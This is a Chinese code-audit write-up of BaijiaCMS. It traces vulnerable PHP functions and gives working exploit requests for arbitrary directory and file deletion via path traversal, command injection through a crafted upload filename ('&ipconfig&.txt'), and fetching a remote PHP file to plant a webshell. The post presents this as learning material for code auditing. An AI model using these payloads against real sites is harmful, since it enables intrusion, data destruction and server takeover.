前言

之前审计的CMS大多是利用工具,即Seay+昆仑镜联动扫描出漏洞点,而后进行审计。感觉自己的能力仍与零无异,因此本次审计CMS绝大多数使用手动探测,即通过搜索危险函数的方式进行漏洞寻找,以此来提升审计能力,希望对正在学习代码审计的师傅能有所帮助。

环境搭建

源码链接如下所示
https://gitee.com/openbaijia/baijiacms
安装至本地后,我这里是phpstudy+win10,所以直接解压到phpstudywww目录下即可
接下来去创建一个数据库用于存储CMS信息。(在Mysql命令行中执行)

接下来访问CMS,会默认跳转至安装界面
数据库名称和账密注意一下就好,其他随便写
而后安装成功,可以开始进行审计了。

审计

准备工作

我们拿到一套源码时,首先需要对具体文件夹进行一次分析,这样才能对CMS有一个初步的印象,为后续审计做一些铺垫。
根目录如下所示

其对应目录解释如下

addons     插件
api        接口
assets     静态文件
attachment 上传目录
cache      缓存目录
config     系统文件
include    系统文件
system     后端代码

针对system目录,这个较为常用,我们可以对其进行进一步分析

system 系统模块目录├─alipay 支付宝服务窗模块├─bonus 优惠券模块├─common 公共函数模板├─index 登录页├─member 会员模块├─modules 可再扩展模块和模块管理├─public 公共模块├─shop 后台商城模块├─shopwap 前台商城模块├─user 系统用户└─weixin 微信模块

对这些有过了解后,还需要看的就是一些后端支撑文件,例如这种xxxinc.php文件,他们常常存在一些漏洞,进而导致CMS出现漏洞

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)


所以简单阅读一下这些也是有必要的。接下来准备工作做完,就开始下一步。

路由解析

对一个CMS进行漏洞探测前,我们需要首先需要对CMS的路由有所了解。
这里我们直接访问默认页面baijiacms-master/index.php,然后登录后台,这里说一下我自己认为找路由还可以的方法,就是关注一些特别点,好找一些,比如这里的修改密码界面

我们点击它,发现此时的路由如下

baijiacms-master/index.php?mod=site&act=manager&do=changepwd&beid=1

接下来我们在Vscode中进行全局搜索,搜password=

结果如下,可以发现它的路径

baijiacms-master\system\manager\class\web\changepwd.php

再找到它的具体位置

我们将它与之前看到的路由进行比对,就可以发现act其实是system文件夹下的文件夹名称,do是所选择具体文件的名称,对这些有个初步的了解,待会找到文件时能在网页中访问即可。

漏洞查找

这里Seay+关键词搜索的方式进行漏洞查找

SQL注入

疑点一(失败)

发现有很多疑似注入点,从第一个开始跟进看

文件路由/addons/activity/class/mobile/index.php
重点代码

global $_W,$_GPC;$activityid = intval ( $_GPC ['activityid'] );
$operation = !empty($_GPC['op']) ? $_GPC['op'] : 'display';
$pagetitle = "活动报名入口";$activity = pdo_fetch ("SELECT * FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );

可以看到uniacid变量确实未被单引号包裹,可能存在注入,但我们这里注意到它是$_W['uniacid'],追溯$_W,看到global $_W,$_GPC;,这个是全局变量,所以我们直接在vscode中进行查找(ctrl+shift+f全局搜索)

发现$_GPC=$_GP,所以我们只需要确定$_GP,就可以确定$_GPC,接下来寻找$_GP,最终在baijiacms.php中发现此变量

这里的话可以看出是对所有方法请求的参数进行了一个stripslashes函数处理,而后将参数进行了合并,合并后对数组内的参数依次进行遍历,进行htmlspecialchars函数处理,而后将实体字符&amp替换为&。不过这个是$_GPC的,但都是全局变量,$_W应该也类似,接下来再跟着看一下,我们全局搜索$_W=

这里可以发现$W=$_CMS,同时看出我们的$_W['uniacid']=$_CMS['beid'],接下来搜索$_CMS['beid']=
找到它等同于一个函数,即getDomainBeid函数,所以接下来寻找getDomainBeid函数

function getDomainBeid()
{global $_GP;$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where (`website`=:website1 or `website`=:website2) and `deleted`=0 ",array(":website1"=>WEB_WEBSITE,":website2"=>'www.'.WEB_WEBSITE));if(empty($system_store['id'])){if(!empty($_GP['beid'])){$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id  and `deleted`=0",array(":id"=>$_GP['beid']));if(empty($system_store['id'])){message("未找到相关店铺");}if(!empty($system_store['isclose'])){message("店铺已关闭无法访问");    }return $system_store['id'];  }else{return "";  }}else{if(!empty($system_store['isclose'])){message("店铺已关闭无法访问");   }return $system_store['id'];}
}

这里可以看出system_store是由系统数据库中查出来的数据,这个对我们来说是不可控的,我们可控的是$_GP['beid'],此时看着一个SQL语句

$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id  and `deleted`=0",array(":id"=>$_GP['beid']));

如果我们的数据正常,他的结果应该是

id  isclose
xx  xxxxxxx
xx  xxxxxxx

而当我们输入beidxx and sleep(2)这种,它毫无疑问是不会有查询结果的,这也就意味着$system_store['id'],而这个函数的最终结果是return $system_store['id']; ,那么此时它就会返回空值,那么回到这个SQL语句

pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition}  ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize);

中,如果我们那里正常,想让返回的不为空值,那么这个$_W['uniacid']只能接收到正常的id,也就是数据库中存储着的id值,所以这里是无法进行SQL注入的。

类似这个的还有如下文件

文件名:system/eshop/core/mobile/commission/team.php
部分PHP代码
$list = pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition}  ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize);文件名: /addons/activity/class/web/activity.php
部分PHP代码:
$activity = pdo_fetch ("SELECT * FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );文件名:/addons/activity/class/mobile/join.php
部分PHP代码:
$row = pdo_fetch ("SELECT id FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );文件名:/addons/activity/class/web/records.php
部分PHP代码:
$row = pdo_fetch("SELECT id,pic FROM " . table('activity_records') . " WHERE id = $id and uniacid = '{$_W['uniacid']}'");文件名:/system/eshop/core/web/shop/dispatch.php
部分PHP代码:
$dispatch = pdo_fetch("SELECT id,dispatchname FROM " . tablename('eshop_dispatch') . " WHERE id = '$id' AND uniacid=" . $_W['uniacid'] . "");文件名: /system/eshop/core/web/virtual/category.php
部分PHP代码:
$list = pdo_fetchall("SELECT * FROM " . tablename('eshop_virtual_category') . " WHERE uniacid = '{$_W['uniacid']}' ORDER BY id DESC");

疑点二(失败)

文件路径/system/common/model/virtual.php

这里发现参数id,跟进id变量,发现来源于

public function updateGoodsStock($id = 0){global $_W, $_GPC;$goods = pdo_fetch('select virtual from ' . tablename('eshop_goods') . ' where id=:id and type=3 and uniacid=:uniacid limit 1', array(':id' => $id,':uniacid' => $_W['uniacid']));

发现这里的id是直接赋值为0的,我们是不可控的,所以不存在注入。

任意目录及文件删除

关于漏洞寻找,大多是从一些敏感函数入手,如果觉得Seay扫描的不够全面,我们可自行查找,对于文件删除,我们这里首先想到的就是unlink函数,所以我们这里打开Vscodectrl+shift+f全局搜索unlink函数

这里注意到有多个文件,jscss前端文件自不必看,我们这里要关注的是php文件,接下来从第一个开始看。

疑点一

文件路由baijiacms-master\includes\baijiacms\common.inc.php,涉及代码如下

function rmdirs($path='',$isdir=false)
{if(is_dir($path))//判定变量是否为目录{$file_list= scandir($path); //查看路径下的文件foreach ($file_list as $file)//依次遍历{if( $file!='.' && $file!='..')//如果不是.和..{if($file!='qrcode'){rmdirs($path.'/'.$file,true);//删除目录下的文件}}}if($path!=WEB_ROOT.'/cache/')//如果变量名不是根目录拼接cache{@rmdir($path);   //删除目录}    }else{@unlink($path); }}

可以看到当它判定变量为目录时,会对目录下的文件进行递归,而后删除一切文件,如果它不是目录,那么他此时就会直接删除这个文件。接下来有函数了,那我们就要看哪个文件利用了这个函数,然后来进行利用。
所以接下来全局搜索函数rmdirs
在文件baijiacms-master\system\manager\class\web\database.php中发现如下代码

              if($operation=='delete'){$d = base64_decode($_GP['id']);$path = WEB_ROOT . '/config/data_backup/';if(is_dir($path . $d)) {rmdirs($path . $d);message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');}
}

可以发现这里对变量进行了base64_decode处理,这下我们想删除的目录的话,我们首先需要对他进行一个base64编码,同时我们可以看到这里指定了路径

$path = WEB_ROOT . '/config/data_backup/';

但这个我们其实是可以绕过的,后续只校验了是不是目录,而未限定目录,所以我们通过burpsuite抓包修改目录就可以实现任意目录删除。

接下来进行利用尝试
首先我们在根目录下新建一个目录(名字随便,我这里为qwq)

接下来访问这个数据库备份界面,具体路由如下

http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=database&op=restore&beid=1


开启bp抓包,点击删除功能点。发送到重放包界面,修改id为Li4vLi4vcXdx(…/…/qwq的Base64编码形式)

此时再回根目录查看

疑点二

除了rmdirunlink,我们常常还可以关注delete函数,因为他直译过来也是删除的意思,所以接下来就全局进行搜索delete()
而后在includes\baijiacms\common.inc.php中发现相关代码,具体代码如下

function file_delete($file_relative_path) {if(empty($file_relative_path)) {return true;}$settings=globaSystemSetting();if(!empty($settings['system_isnetattach'])){if($settings['system_isnetattach']==1){require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');$ftp=new baijiacms_ftp();if (true === $ftp->connect()) {if ($ftp->ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {return true;} else {return false;}} else {return false;}} if($settings['system_isnetattach']==1){require_once(WEB_ROOT.'/includes/lib/lib_oss.php');$oss=new baijiacms_oss();$oss->deletefile($file_relative_path);return true;}
}else
{if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);return true;}}return true;
}

这里重点关注这一个

 if(!empty($settings['system_isnetattach']))

当这个执行通过时,就不会去删除,反之,直接将文件删除,因此我们有必要去找一下这个是什么东西,照旧,全局搜索

这里发现是远程附件,因此我们这里选择本地的话,按理说就可直达else,对文件进行直接删除,访问具体路由

http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1


接下来就设置好了,接下来去寻找运用了这个file_delete函数的文件,全局搜索一下

文件路由为system\eshop\core\mobile\util\uploader.php,部分代码如下

} elseif ($operation == 'remove') {$file = $_GPC['file'];file_delete($file);show_json(1);
}

因此我们这里访问这个路由并设置operationremove,按理说就可以直接删文件了,接下来尝试利用。

首先在根目录新建文件,这里命名为qwq.txt

接下来访问路由

http://127.0.0.1:8080/baijiacms-master/index.php?mod=mobile&act=uploader&do=util&m=eshop&op=remove&file=../test.txt


此时查看根目录

文件已成功删除

同时,我们刚刚还看到了不止这一个文件利用了delete函数,另外的是否存在呢,我们来看一下
文件路由system\eshop\core\web\shop\category.php,具体代码

elseif ($operation == 'post') {.........if (!empty($id)) {unset($data['parentid']);pdo_update('eshop_category', $data, array('id' => $id));file_delete($_GPC['thumb_old']);

这里可以发现想删除文件,需要有三个条件

1、$operation == 'post'
2、$id不为空
3、$_GPC['thumb_old']为具体文件名

所以我们按理说的话,我们去访问这个路由,然后修改$operationpost,添加参数$id=1,同时附加参数$thumb_old为想删除文件名即可实现删除文件,这个$operation在前面可以看到其实是参数op
所以我们直接给op赋值为post,即可实现文件删除,接下来进行尝试

在根目录新建文件qwq2.txt

接下来访问路由

http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=category&op=post&do=shop&m=eshop&beid=2&id=1&thumb_old=../qwq.txt

此时即可实现删除文件

命令执行

针对命令执行,我们关注的函数肯定是evalsystemexec这几个,所以接下来就尝试去利用Vscode的全局搜索来寻找可疑点。
首先搜索的是eval

找到的大多数是带有eval的关键词而非eval函数,只有寥寥几个文件涉及了eval函数,接下来进行简单分析

疑点一(失败)

文件路由baijiacms-master\system\shopwap\template\mobile\login_dingtalk_pc.php,部分代码如下

function checkstatus(){$.get("<?php echo create_url('mobile',array('act' => 'dingtalk','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){var data= eval("(" + data + ")");if(data.status==1){location.href="<?php echo create_url('mobile',array('act' => 'dingtalk','do' => 'fastlogin_pc','op'=>'tologin','skey'=>$showkey));?>";}if(data.status==-1){alert("登录失败!重新刷新二维码登录");    location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'dingtalk'));?>";}
});
}

这里的话可以看出是js类代码,简单分析一下这个函数,不难发现参数第一个是取对应的URL,第二个函数,也就是function(data),它是对从第一个URL中提取出的参数进行执行,这里我们接着看函数,它这里当执行过函数后,对结果的状态取值进行了判断,结果为1时判断为登录成功,就会跳转至另一个界面,而当为-1时就会登录失败,重回登录界面,所以我们这里可以看到他其实是不存在输出执行结果的地方的,所以我们根本无从下手,这里是无法实现命令执行的,所以Pass。

类似的文件还有如下几个,亦不必再看

文件路由:baijiacms-master\system\shopwap\template\mobile\login_weixin_pc.php
部分代码:
function checkstatus(){$.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){var data= eval("(" + data + ")");if(data.status==1){location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'tologin','skey'=>$showkey));?>";}if(data.status==-1){alert("登录失败!重新刷新二维码登录");  location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'weixin'));?>";}
});
}
setInterval("checkstatus()",2000);文件路由:baijiacms-master\system\weixin\template\mobile\badding_weixin_pc.php
部分代码:
function checkstatus(){$.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'banding_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){var data= eval("(" + data + ")");if(data.status==1){location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'account'));?>";}if(data.status==-1){alert("登录失败!重新刷新二维码登录"); location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin','bizstate'=>'banding_weixin'));?>";}
});
}
setInterval("checkstatus()",2000);

疑点二

接下来我们关注system函数,直接Vscode全局搜

最终在includes\baijiacms\common.inc.php下找到system函数,其中部分代码如下

function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{$settings=globaSystemSetting();if(!file_move($file_tmp_name, $file_full_path)) {return error(-1, '保存上传文件失败');}if(!empty($settings['image_compress_openscale'])){$scal=$settings['image_compress_scale'];$quality_command='';if(intval($scal)>0){$quality_command=' -quality '.intval($scal);}system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);}............

这里可以看到是保存文件的,在其中进行了一个判断是否上传成功的,这个自不必在意,这里我们看另一个

if(!empty($settings['image_compress_openscale']))

这个是什么意思呢,我们这里可以看出如果这个判断可以通过,而后就会对文件名和文件路径进行一个system执行,那我们就有可能实现命令执行,因此我们的首要任务就是找到这个是什么东西,所以接下来全局搜索image_compress_openscale

此时就找到了,它就是图片压缩功能,所以我们直接去开启这个功能,这里这个if判断就可以通过啦,所以接下来首先去开启这个,访问路由如下

http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1


接下来我们跟进看一下哪个文件利用了这个函数,毕竟找到文件才能利用。

可以发现这里的话对此函数进行了一个利用,具体代码如下

$extention = pathinfo($file['name'], PATHINFO_EXTENSION);$extention=strtolower($extention);if($extention=='txt'){$substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));if(empty( $substr)){$substr="/";    }$verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";//file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);if($verify_root!=WEB_ROOT."/"){copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);}$cfg['weixin_hasverify']=$file['name'];}

这里的话是对上传文件进行了pathinfo函数处理,其实也就是获取了拓展名(后缀名),当为txt后缀时,会继续往下进行,继而调用这个file_save函数,所以我们这里的思路就明了了,我们这里新建一个文件,命名为xxx命令.txt,此时按理说就可以达到一个命令执行的效果,接下来进行尝试。

我们这里新建一个txt文件,命名为&ipconfig&.txt

接下来对其进行上传,具体路由

http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=weixin&do=setting&beid=1

接下来保存便可以看到效果

任意文件读取

疑点一(失败)

文件路由/system/eshop/core/mobile/shop/util.php,重要代码如下

} else if ($operation == 'areas') {require_once WEB_ROOT . '/includes/lib/json/xml2json.php';$file    = ESHOP_AREA_XMLFILE;$content = file_get_contents($file);$json    = xml2json::transformXmlStringToJson($content);$areas   = json_decode($json, true);die(json_encode($areas));

其他暂且不看,我们这里先看这两个

$file    = ESHOP_AREA_XMLFILE;
$content = file_get_contents($file);

本来直接包含$file的话,确实是可能存在文件读取,但我们这里可以看到它这里是给$file直接赋值了,这个是什么呢,我们全局搜索一下可以发现是一个xml文件

那么它对我们来说是不可控的,所以这里就不存在文件读取了,因此这里属于误报,看下一处。

所以类似这种的可疑点不必再关注,这里简单列出几个

文件名:/system/eshop/core/web/sale/enough.php
部分代码:
$content = file_get_contents($file);文件名:/system/eshop/core/web/shop/dispatch.php
部分代码:
$content = file_get_contents($file);

文件上传

疑点一

文件上传,这里Seay并未扫到什么,所以我们手动来进行寻找,对于文件上传,最先想到的就是上传二字,对应英文为upload,所以直接Vscode全局搜索upload()
文件路由为includes\baijiacms\common.inc.php,具体代码如下

function file_upload($file, $type = 'image') {if(empty($file)) {return error(-1, '没有上传内容');}$limit=5000;$extention = pathinfo($file['name'], PATHINFO_EXTENSION);$extention=strtolower($extention);if(empty($type)||$type=='image'){$extentions=array('gif', 'jpg', 'jpeg', 'png');}if($type=='music'){$extentions=array('mp3','wma','wav','amr','mp4');}if($type=='other'){$extentions=array('gif', 'jpg', 'jpeg', 'png','mp3','wma','wav','amr','mp4','doc');}......
}

这里可以看到这个是进行了很多检测的,对文件类型进行了检测,且要求了后缀,所以这个函数应该是文件上传不了了,但还好它不止一个有关upload的函数,我们往下看到这样一个函数

function fetch_net_file_upload($url) {$url = trim($url);$extention = pathinfo($url,PATHINFO_EXTENSION );$path = '/attachment/';$extpath="{$extention}/" . date('Y/m/');mkdirs(WEB_ROOT . $path . $extpath);do {$filename = random(15) . ".{$extention}";} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;$file_relative_path = $extpath. $filename;if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {$result['message'] = '提取失败.';return $result;}$file_full_path = WEB_ROOT .$path . $extpath. $filename;return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}

可以发现这个只对文件进行了pathinfo函数处理,取出其后缀名,然后拼接路径及随机数字来组成文件名,那么我们如果通过这个函数进行文件上传,按理说就可以上传php文件实现getshell,接下来看看哪个文件利用了此函数

文件路由system\public\class\web\file.php,具体代码

if ($do == 'fetch') {$url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);if (is_error($file)) {$result['message'] = $file['message'];die(json_encode($result));}}

接下来我们只需要满足do=fetch,然后url中包含我们的文件,便可实现文件上传,我这里远程文件内容如下

接下来进行利用尝试。访问路由如下

http://127.0.0.1:8080/baijiacms-master/index.php?mod=web&do=file&m=public&op=fetch&url=http://xxx.xxx.xxx.xxx/qwq.php


访问给出的文件路径

可以发现此时已经实现了文件上传,如果传一句话木马即可Getshell。

后言

本次CMS审计是小白的第一次大幅度利用手动搜索危险函数来寻找漏洞,共计耗时半周,对本小白来说已颇为吃力,其中颇多审计失败的点,虽审计失败,但仍感觉对代码能力有了进一步了解,也算有所收获。最后,如果文章中有错误,还望各位大师傅多多指正。

代码审计之旅之百家CMS相关推荐

  1. 代码审计之百家cms

    文章目录 前言 一.本地项目部署 二.漏洞挖掘 1.准备 2.存储型XSS 3.SQL注入 4.任意路径删除 5.任意文件删除 6.远程文件上传 7.命令执行 三.总结 前言 百家cms微商城是一款免 ...

  2. 二次开发手册——百家CMS微商城说明文档(5)

    系统目录结构 百家cms微商城最新版本可以在官方网站(http://bbs.baijiacms.com 官网目前已无法访问). 把下载后的压缩文件解压到你的WEB目录(或者任何目录都可以),框架的目录 ...

  3. 安装使用——百家CMS微商城说明文档(2)

    安装使用 安装使用教程 安装前准备: 要安装百家CMS微商城,需要先准备如下几项: 1.百家CMS微商城安装包,可以论坛下载最新版完整包即可: 2.需要支持PHP+MYSQL的虚拟空间或是服务器:配置 ...

  4. PHP代码审计--百家CMS4.1.4项目实战(下)

    PHP代码审计--百家CMS4.1.4项目实战(下) 这是百家cms的第二部分-代码审计 关于百家cms的安装配置及黑盒测试,可以参考上一篇文章: PHP代码审计--百家CMS4.1.4项目实战(上) ...

  5. PHP代码审计--百家CMS4.1.4项目实战(上)

    PHP代码审计--百家CMS4.1.4项目实战(上) 前提: 最近工作有点闲,就想着开始拓展技能了,学一下代码审计,入门就从php开始吧.这个百家CMS项目,我分为两部分测试,一.是渗透测试纯黑盒测试 ...

  6. [php-代码审计]百家cms4.14

    [php-代码审计]通读百家cms4.14 cms目录结构 先看是否存在install重装漏洞 看一下index.php正常流程 article模块,存在sql注入 util模块存在前台任意文件删除 ...

  7. 瑞康医药与亚马逊云科技达成战略合作,全国上百家子公司业务上云

    摘要:走近国内医药流通领域首家全面迁移至公有云的企业瑞康医药. "目前,瑞康医药已经成功将包括ERP核心系统在内的超过50套企业应用系统.200余台服务器迁移至亚马逊云科技,全国上百家子公司 ...

  8. 陀螺财经携百家产业合作伙伴推出“史上最强产业区块链案例集”

    自去年12月陀螺财经宣布升级产业区块链服务,重磅上线"陀螺财经产业区块链平台"以来,我们已为超过200家区块链企业提供品牌信息发布.产业咨询.资源对接与技术解决方案一站式服务. 产 ...

  9. 2019百家号自媒体运营攻略

    自媒体火了一阵子,百家号也成为一大机遇,很大的优势是低门槛,一篇文章5000块钱也有,行奕自己就不堪入目了,捂脸~ 一.如何愉快地注册一个百家号? 如何迅速注册百家号并通过审核,这里有一些 tips: ...

最新文章

  1. iOS应用模块化的思考及落地方案(二)模块化自动构建工具的使用
  2. 第39章 数据的并发处理
  3. python--windows下安装BeautifulSoup
  4. Oracle: 数字前面自动补0几种方式
  5. 【机器学习】从Few-shot Learning再次认识机器学习
  6. android Base64 加密
  7. 模糊测试——强制发掘安全漏洞的利器(Jolt 大奖精选丛书)
  8. MDT修改部署时的背景图
  9. linux eclipse安装使用教程
  10. C语言:ASCII字符文件与二进制字符文件的相互转换
  11. 电子元器件企业面临缺货涨价,SRM协同系统助力企业采购数字化智慧升级
  12. 华为往事(十五)--华为北京研究所
  13. 报盘、还盘的英语短句(建议收藏)
  14. ORA-00600: internal error code 内部错误代码
  15. Android10下wifi连接的两种方式:点对点连接和外网连接
  16. tunel凋亡试剂盒说明书_急求!!罗氏TUNEL试剂盒( In Situ Cell Death Detection Kit, TMR red )中文说明书或者操作步骤,急急急!!谢谢啦!...
  17. LambdaMART的源码分析:二(LambdaMART的流程)
  18. 服务器离家出走怎么修复,减肥减到“大姨妈”离家出走?教你几招把它找回来!...
  19. Docker in Docker dind
  20. ICS中的6种知名攻击

热门文章

  1. 标准日本语第七课课件
  2. anytxt searcher中文版(文本内容搜索工具)
  3. Django choices参数
  4. 看一个80后草根团队,是如何完成创业到转型的!
  5. iFunk游戏本或成娱乐时代新宠
  6. javascript核心(二)
  7. geoserver wfs 服务访问
  8. arm的字节对齐问题总结(转)
  9. 淘宝App 华为折叠屏适配终极方案!
  10. 辞暮尔尔烟火年年,朝朝暮暮岁岁平安。(2022年度总结)